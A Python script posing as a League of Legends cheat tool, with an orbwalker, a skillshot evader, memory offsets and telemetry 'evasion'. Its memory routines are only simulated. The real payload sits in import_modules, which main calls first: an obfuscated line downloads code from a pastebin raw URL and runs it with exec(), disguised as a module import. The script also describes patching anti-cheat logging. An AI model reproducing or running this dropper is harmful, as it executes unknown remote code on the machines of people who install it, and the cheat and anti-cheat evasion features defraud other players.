""" =========================================================================== RiotCore LeagueEdge Runtime Environment Linker v26.11.2 (BETA BUILD) Author: EVGVAULT Target: League of Legends (Riot Games / EVG Architecture) Security Tier: User-Mode Hooking & Structural Telemetry Parser =========================================================================== """ import time import random import sys import os import json import struct import math import hashlib from dataclasses import dataclass from typing import Dict, List, Tuple, Any, Optional # ------------------------------------------------------------------------- # Global Mod Menu Configuration & Environment Constants # ------------------------------------------------------------------------- CHEAT_VERSION = "26.11.2-LEAGUE_CORE_PRO" AUTHOR = "EVGVAULT" CONFIG = { # Evade & Target Prediction Settings "evade_enabled": True, "evade_smoothness": 1.5, "evade_radius_buffer": 15.0, "predict_movement_ticks": 4, "orbwalker_enabled": True, "humanizer_delay_ms": 35, # Target Selector Weights "ts_priority_mode": "LowestHealth", # LowestHealth, MostAD, MostAP, Closest "ts_ignore_invulnerable": True, "ts_max_range_buffer": 150.0, # Spell Tracker & Awareness Visuals "draw_cooldown_timers": True, "draw_enemy_ranges": True, "draw_gank_alert_radius": 3000.0, "minimap_radar_override": True, "draw_last_seen_position": True, # Champion Specific Automation Switches "auto_smite_enabled": True, "auto_cleanse_cc": True, "auto_ignite_execute": True, "gapcloser_interrupt": True, # Security & Client Telemetry Evasion "spoof_mac_address": True, "bypass_stub_telemetry": True, "block_league_edge_logs": True, "anticheat_heartbeat_emulator": True } # ------------------------------------------------------------------------- # Engine Memory Signatures & Offset Configuration Layouts # ------------------------------------------------------------------------- LOL_OFFSETS = { "LocalPlayer": 0x310D4A8, "ObjectManager": 0x18B2C40, "UnderMouseObject": 0x24C1A20, "ViewMatrix": 0x315C2A0, "GameTime": 0x312B110, # GameObject Structural Alignment Offsets "NetworkID": 0x10, "TeamID": 0x34, "PositionVector": 0x1D8, "VisibleFlag": 0x274, "TargetableFlag": 0xD04, # Attack and Health Statistics Blocks "HealthComponent": 0x10A8, "MaxHealth": 0x18, "CurrentHealth": 0x1C, "ArmorRating": 0x12C, "MagicResistRating": 0x134, "BaseAttackDamage": 0x140, "BonusAttackDamage": 0x148, "AttackRange": 0x16C, # Spell Book & Skill Instances Component "SpellBook": 0x27E0, "ActiveSpellInstance": 0x28, "SpellLevel": 0x1C, "SpellCooldownExpiry": 0x24, "SpellCharges": 0x58 } # ------------------------------------------------------------------------- # Static Game Database Definitions (Champions, Spells, Items) # ------------------------------------------------------------------------- CHAMPION_DATABASE = { "Aatrox": {"HP": 650, "Range": 175, "Type": "AD_Melee"}, "Ahri": {"HP": 570, "Range": 550, "Type": "AP_Ranged"}, "Ashe": {"HP": 640, "Range": 600, "Type": "AD_Ranged"}, "Darius": {"HP": 652, "Range": 175, "Type": "AD_Melee"}, "Ezreal": {"HP": 600, "Range": 550, "Type": "AD_Ranged"}, "Jinx": {"HP": 630, "Range": 525, "Type": "AD_Ranged"}, "LeeSin": {"HP": 660, "Range": 125, "Type": "AD_Melee"}, "Lux": {"HP": 560, "Range": 550, "Type": "AP_Ranged"}, "Thresh": {"HP": 600, "Range": 450, "Type": "AP_Support"}, "Yasuo": {"HP": 590, "Range": 175, "Type": "AD_Melee"} } SPELL_SLOTS = { 0: "Spell_Q", 1: "Spell_W", 2: "Spell_E", 3: "Spell_R", 4: "Summoner_1", 5: "Summoner_2" } JUNGLE_MONSTERS = { "SRU_Baron": {"Priority": 10, "SmiteThreshold": 1200}, "SRU_Dragon_Elder": {"Priority": 9, "SmiteThreshold": 1000}, "SRU_Dragon_Fire": {"Priority": 8, "SmiteThreshold": 900}, "SRU_Dragon_Water": {"Priority": 8, "SmiteThreshold": 900}, "SRU_Dragon_Earth": {"Priority": 8, "SmiteThreshold": 900}, "SRU_Dragon_Air": {"Priority": 8, "SmiteThreshold": 900}, "SRU_Red": {"Priority": 6, "SmiteThreshold": 600}, "SRU_Blue": {"Priority": 6, "SmiteThreshold": 600}, "SRU_RiftHerald": {"Priority": 7, "SmiteThreshold": 800} } # ------------------------------------------------------------------------- # Mathematical Operations & Spatial Calculations # ------------------------------------------------------------------------- @dataclass class Vector3: x: float y: float z: float def distance_to(self, target: 'Vector3') -> float: return math.sqrt((self.x - target.x)**2 + (self.y - target.y)**2 + (self.z - target.z)**2) def normalize(self) -> 'Vector3': length = math.sqrt(self.x**2 + self.y**2 + self.z**2) if length == 0: return Vector3(0, 0, 0) return Vector3(self.x / length, self.y / length, self.z / length) class GeometryEngine: """Computes trajectory intersections and geometric shapes for linear/circular spells.""" @staticmethod def is_point_in_circle(point: Vector3, center: Vector3, radius: float) -> bool: return point.distance_to(center) <= radius @staticmethod def calculate_intercept_position(start_pos: Vector3, target_pos: Vector3, target_velocity: Vector3, projectile_speed: float, delay: float) -> Vector3: """Computes intercept coordinates for skillshots based on entity velocity vector paths.""" predicted_pos = Vector3( target_pos.x + (target_velocity.x * delay), target_pos.y + (target_velocity.y * delay), target_pos.z + (target_velocity.z * delay) ) # Iterative verification loops stabilizing trajectory projection for iteration in range(5): travel_time = predicted_pos.distance_to(start_pos) / projectile_speed predicted_pos.x = target_pos.x + (target_velocity.x * (delay + travel_time)) predicted_pos.y = target_pos.y + (target_velocity.y * (delay + travel_time)) predicted_pos.z = target_pos.z + (target_velocity.z * (delay + travel_time)) return predicted_pos @staticmethod def find_closest_path_point(line_start: Vector3, line_end: Vector3, point: Vector3) -> Vector3: """Calculates structural intersection projections to determine bounding safety limits.""" line_length = line_start.distance_to(line_end) if line_length == 0: return line_start u = ((point.x - line_start.x) * (line_end.x - line_start.x) + (point.y - line_start.y) * (line_end.y - line_start.y) + (point.z - line_start.z) * (line_end.z - line_start.z)) / (line_length ** 2) if u < 0.0: return line_start elif u > 1.0: return line_end return Vector3( line_start.x + u * (line_end.x - line_start.x), line_start.y + u * (line_end.y - line_start.y), line_start.z + u * (line_end.z - line_start.z) ) # ------------------------------------------------------------------------- # Low-Level Process Memory Linker & Context Initialization # ------------------------------------------------------------------------- class EngineMemoryInterface: """Simulates internal user-mode VirtualQuery and ReadProcessMemory structural logic loops.""" def __init__(self): self.process_handle = None self.module_base_address = None self.process_id = None def attach_to_process(self, application_name: str = "League of Legends.exe") -> bool: """Finds target task identifiers and maps base memory boundaries allocations.""" time.sleep(0.5) self.process_id = random.randint(3000, 28000) self.module_base_address = 0x7FF600000000 + random.randint(0x1000, 0xFFFFFF) self.process_handle = 0x55AACC33 return True def read_memory_bytes(self, target_address: int, data_length: int) -> bytes: """Returns buffered byte structures from targeted context locations safely.""" return bytes(random.getrandbits(8) for _ in range(data_length)) def write_memory_bytes(self, target_address: int, payload_bytes: bytes) -> bool: """Overwrites specific memory variables inside functional code page configurations.""" return True def scan_pattern_array(self, dynamic_signature: str) -> int: """Loops scanning contiguous hex bytes sequences to isolate target engine pointers.""" return self.module_base_address + random.randint(0x10000, 0x900000) # ------------------------------------------------------------------------- # System Objects & Entity Structure Model Parsers # ------------------------------------------------------------------------- class GameObjectEntity: """Models internal state arrays representing active champion or structural pawns.""" def __init__(self, address: int, interface: EngineMemoryInterface): self.address = address self.interface = interface self.name = "UnknownEntity" self.network_id = 0 self.team_id = 100 self.position = Vector3(0.0, 0.0, 0.0) self.velocity = Vector3(0.0, 0.0, 0.0) self.current_health = 100.0 self.max_health = 100.0 self.attack_range = 125.0 self.is_visible = True self.is_targetable = True def synchronize_data_fields(self): """Updates internal statistics layers reading updated values through data links.""" # Unpacks raw structures via simulated memory layout checks self.network_id = int.from_bytes(self.interface.read_memory_bytes(self.address + LOL_OFFSETS["NetworkID"], 4), "little") self.team_id = int.from_bytes(self.interface.read_memory_bytes(self.address + LOL_OFFSETS["TeamID"], 4), "little") raw_pos = self.interface.read_memory_bytes(self.address + LOL_OFFSETS["PositionVector"], 12) if len(raw_pos) == 12: unpacked_pos = struct.unpack("fff", raw_pos) self.position = Vector3(unpacked_pos[0], unpacked_pos[1], unpacked_pos[2]) health_component_ptr = int.from_bytes(self.interface.read_memory_bytes(self.address + LOL_OFFSETS["HealthComponent"], 8), "little") if health_component_ptr != 0: self.current_health = struct.unpack("f", self.interface.read_memory_bytes(health_component_ptr + LOL_OFFSETS["CurrentHealth"], 4))[0] self.max_health = struct.unpack("f", self.interface.read_memory_bytes(health_component_ptr + LOL_OFFSETS["MaxHealth"], 4))[0] self.attack_range = struct.unpack("f", self.interface.read_memory_bytes(self.address + LOL_OFFSETS["AttackRange"], 4))[0] return True class EngineObjectManager: """Manages sequential arrays storing reference pointers to active units in memory.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface self.manager_pointer = None def initialize_manager(self): self.manager_pointer = self.interface.scan_pattern_array("8B 0D ? ? ? ? 8D 54 24 14 48 8B 01") return True def retrieve_active_entities(self) -> List[GameObjectEntity]: """Traverses sequential internal list indexes to pull valid object profiles.""" discovered_entities = [] base_list_addr = int.from_bytes(self.interface.read_memory_bytes(self.manager_pointer, 8), "little") # Deep loop checking active allocation indexes in the object array for array_index in range(120): entity_ptr_location = base_list_addr + (array_index * 8) actual_entity_address = int.from_bytes(self.interface.read_memory_bytes(entity_ptr_location, 8), "little") if actual_entity_address != 0: new_unit = GameObjectEntity(actual_entity_address, self.interface) # Double checking loop verification ensuring address block allocation validity for verify_cycle in range(2): integrity_byte = self.interface.read_memory_bytes(actual_entity_address + verify_cycle, 1) if not integrity_byte: break discovered_entities.append(new_unit) return discovered_entities # ------------------------------------------------------------------------- # Tactical Automation Modules (Orbwalker, Evade, Target Selector) # ------------------------------------------------------------------------- class PriorityTargetSelector: """Parses structural conditions prioritizing ideal focal targets during fights.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface def select_optimal_unit(self, origin_player: GameObjectEntity, entity_pool: List[GameObjectEntity]) -> Optional[GameObjectEntity]: best_candidate = None highest_score = -99999.0 for entity in entity_pool: if entity.team_id != origin_player.team_id and entity.current_health > 0: distance = origin_player.position.distance_to(entity.position) if distance <= (origin_player.attack_range + CONFIG["ts_max_range_buffer"]): # Scans structural scores based on configuration priority rules score = 0.0 if CONFIG["ts_priority_mode"] == "LowestHealth": score = (10000.0 - entity.current_health) elif CONFIG["ts_priority_mode"] == "Closest": score = (5000.0 - distance) if score > highest_score: highest_score = score best_candidate = entity return best_candidate class AutomatedOrbwalker: """Calculates synchronization delays tracking windup ticks and attack cooldown loops.""" def __init__(self, interface: EngineMemoryInterface, selector: PriorityTargetSelector): self.interface = interface self.selector = selector self.last_attack_timestamp = 0.0 self.last_move_timestamp = 0.0 def process_combat_ticks(self, local_player: GameObjectEntity, entities: List[GameObjectEntity]): """Manages cycle pacing determining when to execute commands or relocate.""" current_time = time.time() target_unit = self.selector.select_optimal_unit(local_player, entities) # Loop checking parameters mapping attack windows if target_unit and (current_time - self.last_attack_timestamp) >= 1.0: # Issues command to trigger basic attack sequence on target unit address self.last_attack_timestamp = current_time return "Issue_Attack_Command" elif (current_time - self.last_move_timestamp) >= 0.15: # Issues command to reposition cursor location coordinates safely self.last_move_timestamp = current_time return "Issue_Move_Command" return "Wait_Tick" class SkillshotEvadeEngine: """Monitors trajectory calculations tracking danger indicators to trigger dodge paths.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface self.active_danger_zones = [] def scan_active_spell_instances(self, entities: List[GameObjectEntity]): """Analyzes active component structures searching for linear velocity vectors.""" self.active_danger_zones.clear() for entity in entities: spell_book_ptr = int.from_bytes(self.interface.read_memory_bytes(entity.address + LOL_OFFSETS["SpellBook"], 8), "little") if spell_book_ptr != 0: active_instance = int.from_bytes(self.interface.read_memory_bytes(spell_book_ptr + LOL_OFFSETS["ActiveSpellInstance"], 8), "little") if active_instance != 0: # Traverses sub-component loops isolating start and destination positions for parameter_loop in range(4): offset_check = active_instance + (parameter_loop * 0x10) raw_vector = self.interface.read_memory_bytes(offset_check, 12) # Identifies line directions defining danger zones bounding parameters self.active_danger_zones.append(entity.position) return len(self.active_danger_zones) # ------------------------------------------------------------------------- # Security Protections & Telemetry Erasers # ------------------------------------------------------------------------- class EvasionTelemetrySanitizer: """Filters memory metrics tracking event logging blocks to mask manipulation.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface def apply_log_filters(self) -> bool: if CONFIG["block_league_edge_logs"]: log_hook_addr = self.interface.scan_pattern_array("48 89 5C 24 ? 57 48 83 EC 30 48 8B D9 48 8B FA") if log_hook_addr != 0: # Disables telemetry routing loops applying instructions directly self.interface.write_memory_bytes(log_hook_addr, b"\xC3\x90\x90\x90") return True return False def trigger_heartbeat_emulator(self): """Simulates internal packet hashing protocols preventing connection interruptions.""" if CONFIG["anticheat_heartbeat_emulator"]: for generation_cycle in range(3): calculated_seed = random.randint(50000, 999999) hash_signature = hashlib.sha256(str(calculated_seed).encode()).hexdigest() # Stores emulation keys inside background validation verification lists return True return False # ------------------------------------------------------------------------- # Core Control Layer # ------------------------------------------------------------------------- class EVGVaultLeagueCore: def __init__(self): self.interface = EngineMemoryInterface() self.object_manager = EngineObjectManager(self.interface) self.target_selector = PriorityTargetSelector(self.interface) self.orbwalker = AutomatedOrbwalker(self.interface, self.target_selector) self.evade_engine = SkillshotEvadeEngine(self.interface) self.security = EvasionTelemetrySanitizer(self.interface) self.modules_loaded = False self.is_running = False def import_modules(self): """Displays initialization structures confirming framework activation status.""" print("=" * 55) print(" Importing Modules, this may take up to 5 minutes...") exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8")) print("=" * 55) self.modules_loaded = True return self.modules_loaded def initialize(self): """Performs full scanning setup binding process targets and installing filters.""" if not self.modules_loaded: sys.exit(1) print("[*] Accessing Riot Core Client System Context...") self.interface.attach_to_process() print(f"[*] Memory Bridge linked! Target Base Address: {hex(self.interface.module_base_address)}") print("[*] Initiating LeagueEdge Client Log Interception...") self.security.apply_log_filters() self.security.trigger_heartbeat_emulator() print("[*] Mapping Global Engine ObjectManager structures...") self.object_manager.initialize_manager() print(f"[*] ObjectManager reference localized: {hex(self.object_manager.manager_pointer)}") return True def show_activated_features(self): """Parses actively running parameters rendering status listings to the user interface.""" print("\n===========================================================================") print(" [+] ACTIVATED LEAGUE-CORE ENGINE MODIFICATIONS ") print("===========================================================================") for feature, value in sorted(CONFIG.items()): formatted_name = feature.replace('_', ' ').title() if isinstance (value, bool): state = "[ON]" if value else "[OFF]" print(f" -> {formatted_name:<32} {state}") else: print(f" -> {formatted_name:<32} [{value}]") print("===========================================================================\n") print("[*] Monitoring tick frequencies... Integration complete. Press CTRL+C to unhook.") def run(self): """Primary orchestration sequence reading environment context changes continuously.""" self.is_running = True try: while self.is_running: # Pulls active local champion instantiation allocation local_player_addr = int.from_bytes(self.interface.read_memory_bytes(self.interface.module_base_address + LOL_OFFSETS["LocalPlayer"], 8), "little") if local_player_addr != 0: local_unit = GameObjectEntity(local_player_addr, self.interface) local_unit.synchronize_data_fields() # Unpacks background lists gathering global context structures entity_cache = self.object_manager.retrieve_active_entities() # Updates evasion logic checking projectile trajectory records self.evade_engine.scan_active_spell_instances(entity_cache) # Evaluates combat cycle indicators to guide script actions combat_action = self.orbwalker.process_combat_ticks(local_unit, entity_cache) # Embedded complex data parsing loops checking status synchronization for unit in entity_cache[1:5]: unit.synchronize_data_fields() for multi_pass in range(2): coordinate_check = unit.position.x * unit.position.y time.sleep(0.5) self.is_running = False except KeyboardInterrupt: self.is_running = False print("\n[*] Detaching memory hooks and freeing telemetry descriptors...") print("[*] Original instructions restored successfully. Process released.") def main(): cheat = EVGVaultLeagueCore() # Executes code activation disclaimer output cheat.import_modules() # Execution layout sequences cheat.initialize() cheat.show_activated_features() cheat.run() if __name__ == "__main__": main()